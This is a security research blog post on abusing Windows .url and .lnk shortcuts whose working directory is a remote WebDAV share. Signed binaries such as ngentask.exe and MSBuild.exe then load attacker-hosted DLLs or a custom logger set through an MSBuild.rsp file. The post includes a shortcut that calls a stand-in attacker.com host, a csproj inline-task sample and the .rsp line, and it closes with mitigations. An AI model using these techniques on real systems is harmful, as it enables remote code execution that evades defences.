Internet shortcuts and DLL highjacking
TL; DR
- DLL hijacking over WebDAV using .url files is still effective now, in 2024.
- Windows hardening measures don’t help if you use MSBuild .rsp files
But there are videos, so you really should read on!
Introduction
Internet shortcut (.url) files are traditionally used to link to an (Internet-based) URL on Windows systems and trigger the browser to navigate to that URL. Since the URL parameter in the .url file can also point to a local (or remote) executable file, Internet shortcuts have also been abused for malicious purposes including initial access and persistence.
For initial access, the URL parameter can point to a remote executable (either over SMB or WebDAV) however this will incur a battle against SmartScreen and Mark-of-the-Web unless you are able to exploit a historical CVE or are misusing trusted .NET executables with techniques such as AppDomain manager injection.
A better way to use .url files for malicious purposes is to point the URL parameter to a local (pre-existing) trusted executable. However, unlike .lnk files, .url files do not have the capability of passing arguments to the target executable which limits what malicious actions you can do with trusted executables.
DLLs (Dynamic Link Libraries) are shared files in Windows that contain code, data, and resources which multiple programs can use simultaneously to reduce redundancy and enable modular software design. When a program runs, it dynamically links to the required DLLs, allowing the loading program to call the DLL functions, use their resources, or load them into memory as needed. This enables efficient memory usage, easier updates, and modular development.
So what? Well, a number of years back an interesting post mentioned the use of Internet shortcuts (.url) files to get trusted executables to remotely load (potentially malicious) DLLs over SMB network shares. Given that this was 6 years ago, we wanted to see if this was still possible today and more importantly if it also worked over WebDAV, which would make it an ideal initial access vector.
DLL Sideloading and search order hijacking
DLL hijacking involves loading a malicious DLL from an attacker-controlled location into the memory space of a legitimate process. This can come about due to a number of reasons and https://hijacklibs.net/ is an excellent resource to understand the intricacies of the technique as well as identifying vulnerable DLLs and executables.
As execution of malware via a DLL is typically safer (in an OpSec sense) than other formats (.js, .vbs, .hta and especially .exe), they are often seen in the infection chain of an attack (if not in the initial access phase then likely in secondary payload download stages or in a persistence stage). DLL hijacking often involves the use of legitimate Microsoft-signed trusted executables which will sail past SmartScreen and https://hijacklibs.net/ lists a large number of potential candidates which can be used for that purpose.
Two well-known subclasses of DLL Hijacking are:
1) DLL Search Order Hijacking: This technique typically involves placing a malicious DLL in the search order path of an existing executable (in a known location) and waiting for some trigger to execute that executable.
2) DLL Side-Loading: This technique usually involves placing a malicious DLL and vulnerable executable in the same folder and then launching that executable directly.
Search order hijacking is typically harder to pull off due to limited user-writable locations for DLLs, and fewer affected DLLs; it is also more likely to be detected by security tools due to the relatively high visibility associated with dropping a DLL into the search path, as well as detection by behavioural analysis and file-integrity monitoring tools. By contrast, side-loading relies on exploiting trust in legitimate software which is harder to do, but ithas the advantage that it misuses legitimate signed executables so that they load malicious DLLs from their working directory, making it harder to detect as malicious behavior
Search-order hijacking over WebDAV
As described in the post above, the idea is to create an Internet shortcut (.url) file with a working directory that points to a remote WebDAV share; the share contains a malicious DLL and a target pointing to a local executable that is in turn vulnerable to search-order hijacking. A .url file is just a text file which contains a ‘URL’ parameter. That parameter normally to an Internet-based URL but it can alternatively point to a local or remote file. By setting the ‘WorkingDirectory’ parameter to a remote WebDAV server, vulnerable executables will attempt to load DLLs from the remote, current working directory before they load DLLs from more standard locations.
mscorsvc.dll is a Microsoft .NET Runtime Optimization Service library (DLL) used by the .NET Framework. Based on testing of executables in WinSxS subfolders, we found that the following shortcut will cause the legitimate ngentask.exe process to load a malicious version of the mscorsvc.dll DLL from a remote WebDAV server, rather than loading the DLL from its normal location at C:\Windows\Microsoft.NET\Framework64\v4.0.30319. Once the DLL has been loaded, the ngentask.exe process will call the CorInitSvcLogger() function from that DLL. The shortcut we used is as follows:
[InternetShortcut]
URL=C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\ngentask.exe
WorkingDirectory=\\attacker.com@SSL\mscorsvc.dll
ShowCommand=7
Additional executables we found in the WinSxS folder exhibiting this behaviour (as of Dec 2 2024) included C:\Windows\WinSxS\amd64_microsoft-windows-i..ntrolpanel.appxmain_31bf3856ad364e35_10.0.19041.4474_none_8f6f71a24c482e0d\SystemSettings.exe, which loads a remote SystemSettings.dll.
Note that the list of vulnerable executables under the WinSxS folder seems to change after each monthly patch cycle so make sure you test against a patched machine before trying this yourself.
As an example, we can create a simple .NET DLL and export the CorInitSvcLogger method using DllExport.
We can then deploy it on a remote WebDAV server as mscorsvc.DLL, we can load it using the signed ngentask.exe as shown in the first of our promised videos!
We also found that .lnk files were just as good for this attack – set the working directory to a remote WebDAV share and the attack works just like for .url files.
This kind of attack has been around a long time and in 2010 Microsoft introduced the CWDIllegalInDllSearch registry key which can be enabled to prevent loading DLLs from a remote ‘current working directory. This key does not exist by default however and needs to be set (and the system rebooted) for it to take effect. Also note that this registry key only affects loading DLLs from the current working directory; it does not affect loading DLLs from the folder where the executable image is located, as occurs in a typical DLL side-loading attack.
MSBuild and .rsp files
If DLL search order hardening is in effect, remote loading of DLLs via .url files won’t work. We therefore thought about other ways native signed executables can load malicious resources (not necessarily DLLs) from a remote WebDAV share. A LOLBIN (Living Off the Land Binary) is a legitimate system utility or executable that attackers misuse to perform malicious activities. These binaries are already present on the target system and are typically trusted and signed by the operating system vendor (e.g., Microsoft on Windows). Using LOLBINs helps attackers blend in with normal operations, bypass security tools, and avoid detection, so we decided to focus on MSBuild.exe, an executable with well-known LOLBIN capabilities.
The standard ways to exploit MSBuild require the attacker to pass an argument to the executable which would preclude it from being used as part of a malicious .url file (because remember, the .url file cannot take arguments).
Just running MSBuild without any arguments with the working directory set to a remote SMB share and viewing the results in ProcMon shows that it attempts to search for any .proj and .sln files in the (remote) working directory:
Recalling the well-known LOLBIN technique of embedding code in MSBuild tasks inside project files, we then placed the following code into a test.csproj file (any name will do) on the remote share:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Diagnostics;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
Process.Start("calc.exe");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Re-running MSBuild with no arguments with the remote working directory does indeed load the remote .proj file and executes the local calc.exe (no, we don’t have a screenshot of mscalc :-). In fact the documentation mentions how project files are loaded when not specified on the command line so this is indeed working ‘as expected’:
Now that we know loading a remote project works for SMB shares, does it work over WedDAV ? Unfortunately, if we attempt to execute from a working directory pointing to a remote WebDAV share we get an error:
It appears that the use of ‘@SSL’ (required to tell MSBuild to use WebDAV instead of SMB) triggers a .NET exception, so it looks like this method (which works over SMB) won’t work over WebDAV, at least until that .NET bug is fixed.
However, if we look closely at ProcMon when this load over WebDAV occurs, we can see that MSBuild attempted to open the file MSBuild.rsp in the WebDAV folder. According to the documentation, this file (MSBuild.rsp) contains command line switches that can be used to control the behaviour of MSBuild, without actually specifying them on the command line.
This then got us thinking about what kind of switches would allow us to load malicious resources into MSBuild, and we found an article about a malicious custom logger which can be loaded into MSBuild via command line switches. This then gave us a nice simple way to get code execution via WebDAV using MSBuild with no command line arguments. So we created a file ‘MSBuild.rsp’ with a single line:
/logger:MSBuildLogger.SimpleLogger,MSBuildLogger.dll
We hosted that file on the remote WebDAV server, created a customer logger DLL implementing Microsoft.Build.Utilities.Logger and hosted that in the same WebDAV folder. That’s it, and it’s hello from custom logger!
Of course, everyone likes a video, so here’s another one…
When MSBuild executes (without arguments) using the WebDAV folder as its working directory, it finds the MSBuild.rsp file and attempts to load (and initialise) the custom logger DLL resulting in code execution – all artifacts hosted remotely to reduce suspicion.
Note that because this is not DLL search order hijacking, the registry entry CWDIllegalInDllSearch has no effect in preventing the malicious custom logger DLL from being loaded.
Conclusions (and mitigations)
DLL search order hijacking and side-loading are prevalent in modern attacks as they attempt to use trusted executables to perform malicious actions, in the hope that they will fly under the EDR radar. The use of WebDAV to remotely host malicious payloads is also popular, as most desktop environments permit outbound HTTPS access. By combining the two, a useful initial access primitive (.url files) can work effectively.
If DLL search order hardening is in place (via the CWDIllegalInDllSearch registry key) then an alternative way to load (.NET) DLLs is via a remote custom logger-DLL, specified in a remote .rsp file loaded by a local MSBuild.exe process without arguments.
In closing, we include two measures which organisations can take to prevent these sorts of attacks:
1) Set the CWDIllegalInDllSearch registry key to at least block loading DLLs when the current working directory is a WebDAV folder.
2) Block WebDAV traffic at the corporate boundary; this will also prevent a lot of related attacks which abuse WebDAV, and it’s a good idea in general.
Until next time!